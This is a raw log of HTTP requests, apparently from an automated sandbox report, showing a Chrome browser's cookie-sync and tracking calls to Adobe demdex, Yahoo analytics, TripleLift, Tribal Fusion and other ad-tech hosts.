Source: global traffic	HTTP traffic detected: GET /ibs:dpid=1957&dpuuid=127B538ED5A56CE1373346EAD4BC6DD7 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062; dpm=14292414026342929303205682463020426373
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=903&dpuuid=0888f4d8-fe4c-46c0-bba5-03c7442509af HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062; dpm=14292414026342929303205682463020426373
Source: global traffic	HTTP traffic detected: GET /microsoft/lp_ada_enhancements-prod.css HTTP/1.1Host: static-assets.fs.liveperson.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://publisher.liveperson.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /microsoft/lp_ada_enhancements-prod.js HTTP/1.1Host: static-assets.fs.liveperson.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=771&dpuuid=CAESELCgsxofEX5PHs4AOWEDa0M&google_cver=1?gdpr=0&gdpr_consent= HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dpm=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062\|30646-1-1735488027060
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=1175&gdpr=0&dpuuid=6XOk1-h2oofyfKWD7ie-gL0nodfyc_GD6yExSP2v HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dpm=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062\|30646-1-1735488027060
Source: global traffic	HTTP traffic detected: GET /i.match?p=b13&u=14292414026342929303205682463020426373&redirect=https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid=22054&dpuuid=$TF_USER_ID_ENC$ HTTP/1.1Host: a.tribalfusion.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=477&dpuuid=d7c79c203da28c795bb08a99b9de6d7c900543afe46b3206ee725e8abac528deb0da87c991749652 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dpm=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062\|30646-1-1735488027060
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=411&dpuuid=Z3FyGgAAAMQJowO- HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dpm=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062\|30646-1-1735488027060
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=358&dpuuid=3176039311885126412 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dpm=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062\|30646-1-1735488027060
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=1957&dpuuid=127B538ED5A56CE1373346EAD4BC6DD7 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dpm=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062\|30646-1-1735488027060\|53196-1-1735488028406
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=782&dpuuid=Z3FyGwAAFARtxwAT HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dpm=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062\|30646-1-1735488027060
Source: global traffic	HTTP traffic detected: GET /cms?partner_id=ADOBE&_hosted_id=14292414026342929303205682463020426373&gdpr=0&gdpr_consent= HTTP/1.1Host: cms.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=3047&dpuuid=620719B5DF4EDF&gdpr=0&gdpr_consent= HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dpm=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062\|30646-1-1735488027060\|53196-1-1735488028406
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=903&dpuuid=0888f4d8-fe4c-46c0-bba5-03c7442509af HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dpm=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062\|30646-1-1735488027060\|53196-1-1735488028406
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=771&dpuuid=CAESELCgsxofEX5PHs4AOWEDa0M&google_cver=1?gdpr=0&gdpr_consent= HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dpm=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062\|30646-1-1735488027060\|53196-1-1735488028406\|38117-1-1735488029084
Source: global traffic	HTTP traffic detected: GET /z/i.match?p=b13&u=14292414026342929303205682463020426373&redirect=https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid=22054&dpuuid=$TF_USER_ID_ENC$ HTTP/1.1Host: s.tribalfusion.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ANON_ID=ahnoeUm5abmAyuoETM8iGCncBdUtXFZbHZalNZdsM6A
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=782&dpuuid=Z3FyGwAAFARtxwAT HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dpm=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062\|30646-1-1735488027060\|53196-1-1735488028406\|38117-1-1735488029084\|57282-1-1735488030056
Source: global traffic	HTTP traffic detected: GET /ups/58782/cms?partner_id=ADOBE&_hosted_id=14292414026342929303205682463020426373&gdpr=0&gdpr_consent= HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=3047&dpuuid=620719B5DF4EDF&gdpr=0&gdpr_consent= HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dpm=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062\|30646-1-1735488027060\|53196-1-1735488028406\|38117-1-1735488029084\|57282-1-1735488030056
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=22054 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dpm=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062\|30646-1-1735488027060\|53196-1-1735488028406\|38117-1-1735488029084\|57282-1-1735488030056\|49276-1-1735488031057
Source: global traffic	HTTP traffic detected: GET /getuid?redir=%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D72352%26dpuuid%3D$UID%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&gdpr_consent= HTTP/1.1Host: dmpsync.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ups/58782/cms?partner_id=ADOBE&_hosted_id=14292414026342929303205682463020426373&gdpr=0&gdpr_consent=&uid=14292414026342929303205682463020426373&verify=true HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBCFycWcCEPEE8-3iRyLGuRcBMFitIqkFEgEBAQHDcmd7Z9xH0iMA_eMAAA&S=AQAAAr4zX2jjBeZXiJ1ZMvxHO3w
Source: global traffic	HTTP traffic detected: GET /dmp/adobe/user?dd_uuid=14292414026342929303205682463020426373 HTTP/1.1Host: bttrack.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=53196&dpuuid=Q7887744311629655258 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dpm=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062\|30646-1-1735488027060\|53196-1-1735488028406\|38117-1-1735488029084\|57282-1-1735488030056\|49276-1-1735488031057\|72352-1-1735488032058
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=22054 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dpm=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062\|30646-1-1735488027060\|53196-1-1735488028406\|38117-1-1735488029084\|57282-1-1735488030056\|49276-1-1735488031057\|72352-1-1735488032058\|80742-1-1735488033130
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=57282&dpuuid=764177A7D2C08DCC206089C3EFAF3FD8 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dpm=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062\|30646-1-1735488027060\|53196-1-1735488028406\|38117-1-1735488029084\|57282-1-1735488030056\|49276-1-1735488031057\|72352-1-1735488032058\|80742-1-1735488033130\|81309-1-1735488034063
Source: global traffic	HTTP traffic detected: GET /getuid?ld=1&gdpr=0&cmp_cs=&us_privacy=&redir=%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D72352%26dpuuid%3D%24UID%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: dmpsync.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluidp=383283436482882224299; tluid=383283436482882224299
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=49276&dpuuid=97cf04f3-76f6-41df-8cf2-01895d0740c5 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dpm=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062\|30646-1-1735488027060\|53196-1-1735488028406\|38117-1-1735488029084\|57282-1-1735488030056\|49276-1-1735488031057\|72352-1-1735488032058\|80742-1-1735488033130\|81309-1-1735488034063
Source: global traffic	HTTP traffic detected: GET /CookieSyncAdobe HTTP/1.1Host: rtb.adentifi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=53196&dpuuid=Q7887744311629655258 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dpm=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062\|30646-1-1735488027060\|53196-1-1735488028406\|38117-1-1735488029084\|57282-1-1735488030056\|49276-1-1735488031057\|72352-1-1735488032058\|80742-1-1735488033130\|81309-1-1735488034063
